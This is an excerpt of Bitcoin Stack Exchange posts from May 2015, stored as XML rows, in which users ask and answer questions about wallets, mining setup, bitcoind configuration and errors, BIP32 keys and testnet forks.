  <row Id="37549" PostTypeId="2" ParentId="37548" CreationDate="2015-05-24T02:52:08.070" Score="2" Body="&lt;p&gt;Well I figured it out. I had to find my bitcoin.config file. I opened it with note pad and changed rpcallowip=* to rpcallowip=192.168.0.1/24&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to do that in bitcoind. Thanks to the guy who replied and thanks to whoever edited my post :)&lt;/p&gt;&#xA;" OwnerUserId="26616" LastEditorUserId="26616" LastEditDate="2015-05-25T00:04:08.213" LastActivityDate="2015-05-25T00:04:08.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37550" PostTypeId="1" CreationDate="2015-05-24T09:43:03.737" Score="10" ViewCount="100858" Body="&lt;p&gt;I have been trying to find out just what is an &lt;code&gt;mBTC&lt;/code&gt; is. Everywhere I look I cannot find out what the value is compared to a Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping you could advise me of what the value is.&lt;/p&gt;&#xA;" OwnerUserId="26622" LastEditorUserId="5406" LastEditDate="2015-05-24T12:18:56.233" LastActivityDate="2017-09-17T06:42:58.280" Title="What is a mBTC?" Tags="|terminology|divisibility|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37551" PostTypeId="2" ParentId="37550" CreationDate="2015-05-24T12:06:52.003" Score="5" Body="&lt;p&gt;mBTC stands for milliBTC. Just like millimeter or millivolt, milli indicates 1/1000th in the metric system.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-05-24T12:06:52.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37552" PostTypeId="2" ParentId="37550" CreationDate="2015-05-24T12:25:35.450" Score="16" Body="&lt;p&gt;&lt;code&gt;m&lt;/code&gt; is the symbol for the &lt;a href=&quot;http://en.wikipedia.org/wiki/Metric_prefix&quot; rel=&quot;noreferrer&quot;&gt;metric prefix&lt;/a&gt; &lt;code&gt;milli&lt;/code&gt; which indicates a unit to be one thousandth of its base unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A millibitcoin therefore is 0.001 BTC or 1/1000 BTC.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-08-30T17:44:20.483" LastActivityDate="2017-08-30T17:44:20.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37553" PostTypeId="2" ParentId="37522" CreationDate="2015-05-24T22:01:02.700" Score="2" Body="&lt;p&gt;Unfortunately the &lt;code&gt;electrum&lt;/code&gt; seed is not compatible with BIP32/&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP44&lt;/a&gt;, which is essentially what &lt;a href=&quot;https://coinomi.com/&quot; rel=&quot;nofollow&quot;&gt;Coinomi&lt;/a&gt; implements, so the answer to your question is no, you cannot import your &lt;code&gt;electrum&lt;/code&gt; seed into &lt;code&gt;coinomi&lt;/code&gt; at the moment, although this might be possible in the future.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-05-25T02:11:01.193" LastActivityDate="2015-05-25T02:11:01.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37554" PostTypeId="1" CreationDate="2015-05-24T23:08:36.107" Score="1" ViewCount="1325" Body="&lt;p&gt;When I run &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MSYS shell:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;./autogen.sh&#xA;  BOOST_ROOT=../boost_1_55_0 ./configure --disable-tests&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I got the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error libdb_cxx headers missing&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this?&lt;/p&gt;&#xA;" OwnerUserId="26629" LastEditorUserId="18227" LastEditDate="2015-05-29T23:23:26.257" LastActivityDate="2015-05-29T23:23:26.257" Title="Dogecoin qt build compiling error libdb_cxx headers missing" Tags="|dogecoin|compiling|" AnswerCount="0" CommentCount="3" ClosedDate="2019-07-17T18:44:30.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="37555" PostTypeId="2" ParentId="37543" CreationDate="2015-05-25T06:16:36.917" Score="1" Body="&lt;p&gt;Yes, if you have an unencrypted wallet.dat then this is a very real possibility. Even an encrypted wallet.dat is vulnerable without a strong password and good security practices. It's simply a list of private keys encrypted with AES. AES can't be hacked, but a weak password can. FWIW, people who've lost their password for the wallet.dat have not been able to retrieve their funds, so an encrypted wallet.dat stands the test of encryption.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-25T06:16:36.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37557" PostTypeId="2" ParentId="37545" CreationDate="2015-05-25T13:29:13.600" Score="1" Body="&lt;p&gt;I know one personally in Israel, &lt;a href=&quot;https://bit2c.co.il&quot; rel=&quot;nofollow&quot;&gt;https://bit2c.co.il&lt;/a&gt; it's Israeli bitcoin exchange.&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-05-25T13:29:13.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37558" PostTypeId="2" ParentId="30139" CreationDate="2015-05-25T14:15:55.913" Score="2" Body="&lt;p&gt;DigitalCoin utilizes three separate encryption algorithms while BitCoin only uses sha-256. In essence, it is harder to compromise the DigitalCoin network because breaking just one of the three algorithms doesn't give you full control. Bitcoin is also vulnerable to 51% attack, or anyone with enough power to hash using sha-256 faster than the rest of the network can rollback time, edit blocks, rewrite transactions, etc. With DigitalCoin, you would need control over all three algorithms to even attempt such a feat. The complexity of which would be insanely high even if you did manage to control all three algorithms.&lt;/p&gt;&#xA;" OwnerUserId="26644" LastActivityDate="2015-05-25T14:15:55.913" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37559" PostTypeId="1" CreationDate="2015-05-25T16:00:13.287" Score="3" ViewCount="1448" Body="&lt;p&gt;I read this question &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10009/why-can-t-the-genesis-block-coinbase-be-spent&quot;&gt;Why can’t the genesis block coinbase be spent?&lt;/a&gt; . It says because of some quirk (&lt;em&gt;the genesis block coinbase transaction is not added to the global transaction database&lt;/em&gt;) genesis block coinbase transaction cannot be spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add this transaction to the global transaction database ? What changes are needed to make this transaction spendable ? &lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-05-26T14:37:54.743" Title="How to make genesis block transaction spendable?" Tags="|bitcoind|bitcoin-core-development|genesis-block|coinbase-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37560" PostTypeId="1" AcceptedAnswerId="38781" CreationDate="2015-05-25T16:37:12.673" Score="1" ViewCount="132" Body="&lt;p&gt;How long would it take to process 1000 transactions from the same wallet, with outputs ranging from 100 bits to 1000 bits and no transaction fees for any of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about if 1000 of these transactions were sent out every hour? Would Bitcoin be able to handle this?&lt;/p&gt;&#xA;" OwnerUserId="25286" LastActivityDate="2015-07-25T04:02:00.427" Title="Is it possible/feasible to send out large amounts of small transactions without paying fees?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37561" PostTypeId="2" ParentId="37560" CreationDate="2015-05-25T17:16:48.493" Score="1" Body="&lt;p&gt;Individual miners have different standards for what fees they will accept. Most simply aren't going to process a transaction without fees, so you'll be waiting for somebody to generously record your transaction to the blockchain without compensation. I've never tried this, but I've seen people say that they've had to wait days. It will vary, of course. If you get impatient you could always propagate another transaction that spends the same exact funds, but allowing some of them to be used as a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've heard estimates of how many transactions the blockchain can handle that range from 3 to 7 per second. I'm really not sure what the average transaction size is, but they all have to fit in a 1 megabyte block. Even a miner who generously records transactions without a fee is almost certainly going to give priority to transactions with a fee attached, so some of your transactions might get recorded and the rest left to wait for another generous miner to get a block. Unless the inputs of one transaction require the outputs of another, you won't even be able to know which ones will get recorded first.&lt;/p&gt;&#xA;" OwnerUserId="24796" LastActivityDate="2015-05-25T17:16:48.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37562" PostTypeId="2" ParentId="18461" CreationDate="2015-05-25T17:31:31.947" Score="2" Body="&lt;p&gt;I would post this as a comment to another answer, but I don't have enough reputation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't read Basic Blockchain Programming, but have read at least parts of all the other books mentioned here. The one I found most useful was Bitcoin Programming by Mostafa Farghaly. Be warned that the English is poor (but totally understandable), and there are some typos in the code. That being said, it will point you in the right direction. It has some basic code examples in JavaScript, Python, PHP, and Ruby. Most of the examples are in Python. If you're new to programming, I would recommend checking out &lt;a href=&quot;http://www.greenteapress.com/thinkpython/&quot; rel=&quot;nofollow&quot;&gt;Think Python&lt;/a&gt; first.&lt;/p&gt;&#xA;" OwnerUserId="24796" LastActivityDate="2015-05-25T17:31:31.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37563" PostTypeId="1" CreationDate="2015-05-25T17:49:11.693" Score="1" ViewCount="1329" Body="&lt;p&gt;so i have been trying to set up my pc to solo mine for almost a week now. i am using bitcoin core and guiminer v0.10.2. i have gotten to the point where i can start mining, but when i do i get this error. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2015-05-25 13:35:14: Running command: poclbm.exe username:password@localhost:8332 --device=0 --platform=0 --verbose -r1 &#xA;  2015-05-25 13:35:14: Listener for &quot;Solo mine&quot; started&#xA;  2015-05-25 13:35:15: Listener for &quot;Solo mine&quot;: WARNING: ADL missing (no AMD platform?), temperature control is disabled&#xA;  2015-05-25 13:35:15: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:15, checking for stratum...&#xA;  2015-05-25 13:35:15: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:15, started OpenCL miner on platform 0, device 0 (GeForce GTX 750 Ti)&#xA;  2015-05-25 13:35:17: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:17, no response to getwork, using as stratum&#xA;  2015-05-25 13:35:18: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:18,  [Errno 10061] No connection could be made because the target machine actively refused it&#xA;  2015-05-25 13:35:19: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:19, IO errors - 1, tolerance 2&#xA;  2015-05-25 13:35:21: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:21,  [Errno 10061] No connection could be made because the target machine actively refused it&#xA;  2015-05-25 13:35:22: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:22, IO errors - 2, tolerance 2&#xA;  2015-05-25 13:35:23: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:23,  [Errno 10061] No connection could be made because the target machine actively refused it&#xA;  2015-05-25 13:35:24: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:24, IO errors - 3, tolerance 2&#xA;  2015-05-25 13:35:24: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:24, No more backup servers left. Using primary and starting over.&#xA;  2015-05-25 13:35:25: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:25,  [Errno 10061] No connection could be made because the target machine actively refused it&#xA;  2015-05-25 13:35:26: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:26, IO errors - 1, tolerance 2&#xA;  2015-05-25 13:35:27: Listener for &quot;Solo mine&quot;: localhost:8332 25/05/2015 13:35:27,  [Errno 10061] No connection could be made because the target machine actively refused it&#xA;  2015-05-25 13:35:27: Listener for &quot;Solo mine&quot; shutting down&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;i tryed to download an ald driver, but none support my OS.&#xA;Can anyone help me figure out the problem?&#xA;im on windows 8.1. thanks &lt;/p&gt;&#xA;" OwnerUserId="26616" LastActivityDate="2015-05-26T18:55:35.663" Title="Solo mining error" Tags="|bitcoin-core|solo-mining|guiminer|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37564" PostTypeId="1" AcceptedAnswerId="37571" CreationDate="2015-05-25T18:07:23.550" Score="1" ViewCount="496" Body="&lt;p&gt;Chain.com&#xA;&lt;a href=&quot;http://explorer.chain.com/transactions/a4bfb8e21ae3d6232183dfb8ef5fcee8c9b8f223c2d25738e24765a75abd009b&quot; rel=&quot;nofollow&quot;&gt;http://explorer.chain.com/transactions/a4bfb8e21ae3d6232183dfb8ef5fcee8c9b8f223c2d25738e24765a75abd009b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chain.so&#xA;&lt;a href=&quot;https://chain.so/tx/BTCTEST/a4bfb8e21ae3d6232183dfb8ef5fcee8c9b8f223c2d25738e24765a75abd009b&quot; rel=&quot;nofollow&quot;&gt;https://chain.so/tx/BTCTEST/a4bfb8e21ae3d6232183dfb8ef5fcee8c9b8f223c2d25738e24765a75abd009b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hash of the transaction&#xA;a4bfb8e21ae3d6232183dfb8ef5fcee8c9b8f223c2d25738e24765a75abd009b&lt;/p&gt;&#xA;" OwnerUserId="26327" LastEditorUserId="2306" LastEditDate="2015-05-25T18:58:13.420" LastActivityDate="2015-05-25T23:37:22.543" Title="Why the same confirmed transaction in the Testnet has different block hash and other fields?" Tags="|blockchain|testnet|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37565" PostTypeId="2" ParentId="37563" CreationDate="2015-05-25T18:08:35.573" Score="2" Body="&lt;p&gt;You're likely to never ever get the cost back for frying your card. Simply an impossible feat to mine with a graphics card. Invest in a new r -box. You can find them on ebay for about $60-100. You'll earn roughly 0.001 btc per day, which is roughly 30 cents per day.&lt;/p&gt;&#xA;" OwnerUserId="26645" LastEditorUserId="5406" LastEditDate="2015-05-25T20:01:48.443" LastActivityDate="2015-05-25T20:01:48.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37567" PostTypeId="1" AcceptedAnswerId="37568" CreationDate="2015-05-25T19:23:44.097" Score="2" ViewCount="862" Body="&lt;p&gt;I'm trying to generate bip32 addresses using the following (the PHP version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/prusnak/addrgen&quot; rel=&quot;nofollow&quot;&gt;https://github.com/prusnak/addrgen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author provides a test MPK which I can get working that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;675b7041a347223984750fe3ab229df0c9f960e7ec98226b7182a2cb1990e39901feecf5a670f1d788ab29f626e20de424f049d216fc6f4c6ec42506763fa28e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the MPK I export from electrum does not work. Its much shorter and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xpub661MyMwAqRbcGntu46CZtzegh5V3vT624SJqPVUgqzboX6A39f1hb8vEMrG555gV5QzVXEpPXqwayMQKu1ZKKRLkX9AoFvqPwAm3qL24AnE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The exact message I get is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pack(): Type H: illegal hex digit x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea whats going on? Why does electrum's MPK not resemble the authors?&lt;/p&gt;&#xA;" OwnerUserId="18985" LastActivityDate="2015-06-02T20:32:38.750" Title="Problems generating addresses using bip32" Tags="|electrum|bip32-hd-wallets|deterministic-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37568" PostTypeId="2" ParentId="37567" CreationDate="2015-05-25T22:13:13.000" Score="3" Body="&lt;p&gt;addrgen author here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addrgen was created before Electrum was BIP-0032 compatible and thus it used different master public keys and derivation method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check the following PHP implementation which supports BIP-0032:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Bit-Wasp/bitcoin-lib-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bit-Wasp/bitcoin-lib-php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For python there are couple of implementations available, e.g.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pypi.python.org/pypi/bip32utils&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/bip32utils&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pypi.python.org/pypi/pycoin/&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/pycoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pypi.python.org/pypi/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/bitcoin/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="26647" LastEditorUserId="26647" LastEditDate="2015-06-02T20:32:38.750" LastActivityDate="2015-06-02T20:32:38.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37569" PostTypeId="1" AcceptedAnswerId="37630" CreationDate="2015-05-25T22:17:38.277" Score="3" ViewCount="193" Body="&lt;p&gt;Are there mirrors of the Bitcoin Wiki?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://en.bitcoin.it/&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/&lt;/a&gt; is down.)&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-10-14T18:39:28.800" Title="Bitcoin Wiki mirror?" Tags="|bitcoin-wiki|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37570" PostTypeId="1" AcceptedAnswerId="40996" CreationDate="2015-05-25T23:27:28.047" Score="1" ViewCount="2440" Body="&lt;p&gt;Why is my AntMiner S5 chain only intermittently operational? What could cause this, how could I diagnose it, and what is the solution? Will BitmainTech replace it for me? How do I know if it's under warranty? Is there a warranty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eyzta.png&quot; alt=&quot;AntMiner S5 dead chain&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-11-16T13:56:45.667" Title="AntMiner S5 chain #2 intermittently operational" Tags="|antminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37571" PostTypeId="2" ParentId="37564" CreationDate="2015-05-25T23:37:22.543" Score="1" Body="&lt;p&gt;That's pretty common. What happens is that the chain forks for whatever reason and some miners are on each side of the fork. They will both have your transaction in their transaction pool and so eventually include it in a block. So your transaction ends up on each fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately it doesn't matter though as the network will eventually agree on which fork is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that recently, testnet has been pretty unmanageable, with regular difficulty resets creating situations where 100s of blocks get created per minute. This creates a lot of chain forks and some can be really long, like in your case. Also due to the high number of forks, some nodes may not have learned about a given block/fork at all if it ended up &quot;losing&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the mainnet, forks are somewhat infrequent (couple daily) and much shorter (very rarerly more than a block).&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2015-05-25T23:37:22.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37572" PostTypeId="1" CreationDate="2015-05-26T01:30:59.223" Score="2" ViewCount="862" Body="&lt;p&gt;So I bought a full btc off of localbitcoin with amazon giftcard code. &#xA;I sent the code and clicked that payment was completed. &#xA;It's been about 2 hours. About 1 hour since he said that he sent the btc. I'm wondering if I got ripped off? &#xA;I'm not showing any transaction in the block chain and it's definitely not in my wallet. &#xA;Please help? What's going on?&lt;/p&gt;&#xA;" OwnerUserId="26649" LastActivityDate="2015-05-26T19:00:55.530" Title="Bought a bitcoin, sender said it was sent, not showing in blockchain or wallet. Where is it?" Tags="|transactions|wallet|blockchain|fraud|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37573" PostTypeId="1" CreationDate="2015-05-26T01:43:08.490" Score="8" ViewCount="662" Body="&lt;p&gt;I'm trying to make certain I'm understanding the purpose behind the Quark algorithm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of devices that need secure algorithms but have severe power and processing constraints such as RFIDs (the chips found in everything from clothes to cars) - hence Quark (and other algorithms) were developed. Quark seems to be secure and yet lightweight enough that CPUs are more that capable of hashing them without maxing out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read lots of articles and posts that come up with reasons pro and con re Quark. What I'm wondering about is what makes Quark worthy as an algorithm for a currency? One advantage is that it uses multiple algorithms and the chance of multiple hash functions getting cracked at the same time approaches zero. But why would we really care if more or less electricity is being spent in creating a block? Of course I want my electric costs to be less - the same as anyone else. But more important than my electric costs is knowing that the currency is secure. I would also prefer that mining is distributed across the network (as opposed to ASICs) but again what counts first and foremost is that the system is secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being the case how is an algorithm designed for RFID's able to compete with SHA256?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still struggling with these algorithms so I may be missing something very basic.&lt;/p&gt;&#xA;" OwnerUserId="23038" LastEditorUserId="23038" LastEditDate="2015-05-26T13:05:56.287" LastActivityDate="2021-11-29T19:48:20.417" Title="Is Quark as secure as SHA 256?" Tags="|hash|algorithms|" AnswerCount="1" CommentCount="3" ClosedDate="2021-11-29T22:23:02.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="37574" PostTypeId="2" ParentId="37570" CreationDate="2015-05-26T03:08:48.360" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1033277.msg11450591#msg11450591&quot; rel=&quot;nofollow&quot;&gt;Someone&lt;/a&gt; suggested:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And first look through -&#xA;  &lt;a href=&quot;https://bitmain.zendesk.com/hc/en-us/articles/204875015-How-to-diagnose-S5-hashing-PCB&quot; rel=&quot;nofollow&quot;&gt;https://bitmain.zendesk.com/hc/en-us/articles/204875015-How-to-diagnose-S5-hashing-PCB&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Then if needed try -&#xA;  &lt;a href=&quot;https://bitmain.zendesk.com/hc/en-us/articles/203559969-My-S5-hashes-at-about-600GH-S&quot; rel=&quot;nofollow&quot;&gt;https://bitmain.zendesk.com/hc/en-us/articles/203559969-My-S5-hashes-at-about-600GH-S&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Oddly, I unplugged the &quot;Power Cable to Control&quot; (with it still running), which cut the power to it, and plugged it back in. I also sprayed the Chain #2 board with some electrical contact cleaner, and that helped. Now the little red light on that board is on!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: But the it's no longer on now! ☹ It just shows: &quot;------ -------- -------- -------- &quot; in the &quot;ASIC status&quot;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-05-26T03:14:06.780" LastActivityDate="2015-05-26T03:14:06.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37575" PostTypeId="2" ParentId="37206" CreationDate="2015-05-26T04:54:03.437" Score="1" Body="&lt;p&gt;One more possible way (and a predecessor of OP_RETURN)&#xA;quote from &lt;strong&gt;Mastering Bitoin&lt;/strong&gt; by Andreas M. Antonopoulos&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Moreover, such transactions create UTXO that cannot be spent, using&#xA;  the destination bitcoin address as a free-form 20-byte field. Because&#xA;  the address is used for data, it doesn’t correspond to a private key&#xA;  and the resulting UTXO can never be spent; it’s a fake payment. This&#xA;  practice causes the size of the in-memory UTXO set to increase and&#xA;  these transactions that can never be spent are therefore never&#xA;  removed, forcing bitcoin nodes to carry these forever in RAM, which is&#xA;  far more expensive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Regarding that quote it's possible to store data in address field and that's how OP_RETURN begins&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-05-26T04:54:03.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37577" PostTypeId="2" ParentId="35968" CreationDate="2015-05-26T07:54:34.247" Score="2" Body="&lt;p&gt;Coinbase sometimes creates an address to move your bitcoin from cold storage. Any movement ie downloading to offline storage. will require a hash for the block chain/transaction  to &quot;track&quot; the bitcoin. Hence the appearance of transactions in the wallet. &lt;/p&gt;&#xA;" OwnerUserId="26654" LastActivityDate="2015-05-26T07:54:34.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37578" PostTypeId="1" AcceptedAnswerId="37587" CreationDate="2015-05-26T08:08:50.597" Score="0" ViewCount="137" Body="&lt;p&gt;It appears that Digitalcoin has switched to mining with the three algorithms Scrypt, SHA256, and X11. I assume this means that the network will accept a block mined with either of the three algorithms, as long as fulfills an algorithm specific difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how does the difficulty get balanced among the three different mining algorithms? For example, if blocks are found too quickly, but mainly with one mining algorithm, which difficulties get adjusted and how?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-05-26T13:57:25.863" Title="How does difficulty get rebalanced in Digitalcoin's Multialgorithm mining?" Tags="|digitalcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37579" PostTypeId="2" ParentId="37572" CreationDate="2015-05-26T08:48:57.550" Score="2" Body="&lt;p&gt;LocalBitcoins uses escrow. If you've released payment and not received the Bitcoin all you need to raise a dispute. If you've already finalised the purchase and the Bitcoin isn't in your LocalBitcoins wallet then there's very little that can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify: did the Bitcoin ever get credited to your LocalBitcoins wallet? If not, raise a dispute ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had issues with LocalBitcoins but I've never ventured outside of escrow or used gift cards.  &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-26T08:48:57.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37580" PostTypeId="2" ParentId="13696" CreationDate="2015-05-26T09:40:07.910" Score="9" Body="&lt;p&gt;if you started it using 'bitcoind -daemon'&#xA;and you are using version 10 or above, then use 'bitcoin-cli stop'&lt;/p&gt;&#xA;" OwnerUserId="21130" LastActivityDate="2015-05-26T09:40:07.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37581" PostTypeId="1" AcceptedAnswerId="37592" CreationDate="2015-05-26T10:38:05.510" Score="1" ViewCount="275" Body="&lt;p&gt;I tried starting bitcoind in regtest mode but got the following error.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Command :&lt;/strong&gt;    bitcoind  -regtest  -daemon&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Output :&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Bitcoin server starting&lt;/p&gt;&#xA;&lt;p&gt;Error: Invalid amount for -paytxfee=: '0.00' (must be at least 0.00001000 BTC/kB)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-05-26T19:11:58.493" Title="Getting error when starting bitcoind in regtest mode" Tags="|bitcoind|regtest|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37582" PostTypeId="1" AcceptedAnswerId="37585" CreationDate="2015-05-26T10:48:35.190" Score="3" ViewCount="1635" Body="&lt;p&gt;A friend sent me Bitcoin to my blockchain wallet. It shows the amount as part of my balance. However, it says there are 108 confirmations and the number of confirmations keeps going up. Why is this happening? Can I spend this Bitcoin while confirmations are continuing?&lt;/p&gt;&#xA;" OwnerUserId="26656" LastActivityDate="2015-05-26T19:30:01.590" Title="Why are there so many confirmations?" Tags="|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
